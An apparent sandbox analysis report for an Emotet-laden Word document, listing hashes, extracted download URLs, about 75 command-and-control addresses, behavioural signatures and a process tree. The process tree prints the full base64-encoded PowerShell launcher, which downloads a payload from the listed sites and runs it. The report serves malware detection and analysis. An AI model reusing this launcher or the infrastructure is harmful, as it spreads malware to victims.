Analysis
-
max time kernel
26s -
max time network
21s -
platform
windows7_x64 -
resource
win7 -
submitted
28-07-2020 20:18
Static task
static1
General
-
Target
9105db623fde6fadcd51e258a21e1e0f15747c2f86dd1305467fbcb55895fdc9.doc
-
Size
169KB
-
MD5
72262c45c08d0465ec195a531c96ae03
-
SHA1
2fafe3729b00002a4681870ff4330cc1c9d52627
-
SHA256
9105db623fde6fadcd51e258a21e1e0f15747c2f86dd1305467fbcb55895fdc9
-
SHA512
9f45b14177494f2c02b5e04717b8b12f7f2e32868d63cfb42942e8b046e8c1fe18c9a30faea79afe11597cc84071925587b1d863b568f28192be8a41e24fd26e
Malware Config
Extracted
http://globeartdesigners.com/assets/lR/
http://karerguvenlik.com/bayi/6UF4rtEz/
https://juroca.com/language/Uiv/
https://www.lgpass.com/images/Wk128/
http://m0h.net/nano/WLfQ/
Extracted
emotet
179.60.229.168:443
185.94.252.13:443
189.218.165.63:80
77.90.136.129:8080
217.199.160.224:7080
104.131.41.185:8080
2.47.112.152:80
185.94.252.27:443
186.250.52.226:8080
51.255.165.160:8080
68.183.170.114:8080
191.99.160.58:80
104.131.103.37:8080
181.31.211.181:80
202.62.39.111:80
83.169.21.32:7080
87.106.46.107:8080
72.47.248.48:7080
177.75.143.112:443
190.17.195.202:80
137.74.106.111:7080
181.129.96.162:8080
82.196.15.205:8080
61.92.159.208:8080
190.6.193.152:8080
181.167.96.215:80
143.0.87.101:80
12.162.84.2:8080
212.71.237.140:8080
217.13.106.14:8080
46.214.11.172:80
114.109.179.60:80
89.32.150.160:8080
185.94.252.12:80
177.72.13.80:80
192.241.146.84:8080
189.1.185.98:8080
187.106.41.99:80
219.92.13.25:80
181.30.69.50:80
68.183.190.199:8080
212.231.60.98:80
190.181.235.46:80
157.7.199.53:8080
178.79.163.131:8080
77.55.211.77:8080
204.225.249.100:7080
170.81.48.2:80
104.236.161.64:8080
5.196.35.138:7080
190.194.242.254:443
50.28.51.143:8080
187.162.248.237:80
46.28.111.142:7080
70.32.84.74:8080
203.25.159.3:8080
190.163.31.26:80
177.144.135.2:80
177.73.0.98:443
177.139.131.143:443
177.74.228.34:80
191.182.6.118:80
94.176.234.118:443
45.161.242.102:80
149.62.173.247:8080
144.139.91.187:443
181.120.79.227:80
80.249.176.206:80
71.50.31.38:80
172.104.169.32:8080
192.241.143.52:8080
111.67.12.221:8080
190.96.118.251:443
186.70.127.199:8090
190.147.137.153:443
177.66.190.130:80
70.32.115.157:8080
Signatures
-
Office loads VBA resources, possible macro or embedded object present
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 1044 powersheLL.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 4 1044 powersheLL.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/1836-12-0x00000000002B0000-0x00000000002BC000-memory.dmp emotet behavioral1/memory/1852-16-0x00000000003B0000-0x00000000003BC000-memory.dmp emotet -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powersheLL.exemsdtcuiu.exepid process 1044 powersheLL.exe 1044 powersheLL.exe 1852 msdtcuiu.exe 1852 msdtcuiu.exe -
Executes dropped EXE 2 IoCs
Processes:
369.exemsdtcuiu.exepid process 1836 369.exe 1852 msdtcuiu.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
369.exedescription pid process target process PID 1836 wrote to memory of 1852 1836 369.exe msdtcuiu.exe PID 1836 wrote to memory of 1852 1836 369.exe msdtcuiu.exe PID 1836 wrote to memory of 1852 1836 369.exe msdtcuiu.exe PID 1836 wrote to memory of 1852 1836 369.exe msdtcuiu.exe -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AE0C974C-FEEE-4AA6-97A6-C7CA399462F1}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{AE0C974C-FEEE-4AA6-97A6-C7CA399462F1}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{AE0C974C-FEEE-4AA6-97A6-C7CA399462F1}\2.0\0\win32 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AE0C974C-FEEE-4AA6-97A6-C7CA399462F1}\2.0\0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{AE0C974C-FEEE-4AA6-97A6-C7CA399462F1}\2.0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AE0C974C-FEEE-4AA6-97A6-C7CA399462F1}\2.0\0\win32 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1124 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
WINWORD.EXE369.exemsdtcuiu.exepid process 1124 WINWORD.EXE 1124 WINWORD.EXE 1836 369.exe 1836 369.exe 1852 msdtcuiu.exe 1852 msdtcuiu.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1044 792 powersheLL.exe -
Drops file in System32 directory 2 IoCs
Processes:
powersheLL.exe369.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powersheLL.exe File opened for modification C:\Windows\SysWOW64\cryptdlg\msdtcuiu.exe 369.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9105db623fde6fadcd51e258a21e1e0f15747c2f86dd1305467fbcb55895fdc9.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1124
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABRAFYARgBLAEkAawB5AGgAPQAnAEUAUABEAFIARgBvAGsAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBJAFQAWQBwAHIATwBgAFQAYABPAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABLAFYAQwBGAFkAdgBtAGUAIAA9ACAAJwAzADYAOQAnADsAJABEAFYAWABTAEoAawBxAGoAPQAnAE8AVQBRAFgAQgBpAHYAbQAnADsAJABZAE0ASQBGAEYAagBpAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEsAVgBDAEYAWQB2AG0AZQArACcALgBlAHgAZQAnADsAJABPAEQAWQBIAFgAaABlAG0APQAnAFQAUABOAFYAVQBtAGkAYgAnADsAJABBAEsAUwBSAFcAeABjAHYAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAGIAYwBMAGkARQBuAFQAOwAkAEkAQQBIAEEATAB3AGEAZgA9ACcAaAB0AHQAcAA6AC8ALwBnAGwAbwBiAGUAYQByAHQAZABlAHMAaQBnAG4AZQByAHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AbABSAC8AKgBoAHQAdABwADoALwAvAGsAYQByAGUAcgBnAHUAdgBlAG4AbABpAGsALgBjAG8AbQAvAGIAYQB5AGkALwA2AFUARgA0AHIAdABFAHoALwAqAGgAdAB0AHAAcwA6AC8ALwBqAHUAcgBvAGMAYQAuAGMAbwBtAC8AbABhAG4AZwB1AGEAZwBlAC8AVQBpAHYALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGwAZwBwAGEAcwBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvAFcAawAxADIAOAAvACoAaAB0AHQAcAA6AC8ALwBtADAAaAAuAG4AZQB0AC8AbgBhAG4AbwAvAFcATABmAFEALwAnAC4AIgBzAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMARABWAFoAUwBhAHMAdAA9ACcATgBTAEIASQBLAGMAYwBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAFQATQBLAEcAYQBsAGgAIABpAG4AIAAkAEkAQQBIAEEATAB3AGEAZgApAHsAdAByAHkAewAkAEEASwBTAFIAVwB4AGMAdgAuACIARABgAE8AVwBOAGwAbwBgAEEARABGAGAAaQBMAEUAIgAoACQAVQBUAE0ASwBHAGEAbABoACwAIAAkAFkATQBJAEYARgBqAGkAYwApADsAJABHAFcAWABRAE4AeABkAHcAPQAnAFIAVABaAEUAUABhAGsAZAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkATQBJAEYARgBqAGkAYwApAC4AIgBsAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADIANgA1ADEANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGAARQBhAGAAVABFACIAKAAkAFkATQBJAEYARgBqAGkAYwApADsAJABQAEwAWQBPAEUAegBxAHQAPQAnAEsARgBMAFMARgBnAGIAZQAnADsAYgByAGUAYQBrADsAJABDAFEAWQBXAFYAZwBiAHoAPQAnAEoAQwBBAFkASAB1AHEAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAEkAUwBRAFcAZAB3AG0APQAnAEcAQQBVAFgATgB3AGsAYgAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Drops file in System32 directory
PID:1044
-
C:\Users\Admin\369.exeC:\Users\Admin\369.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
PID:1836 -
C:\Windows\SysWOW64\cryptdlg\msdtcuiu.exe"C:\Windows\SysWOW64\cryptdlg\msdtcuiu.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1852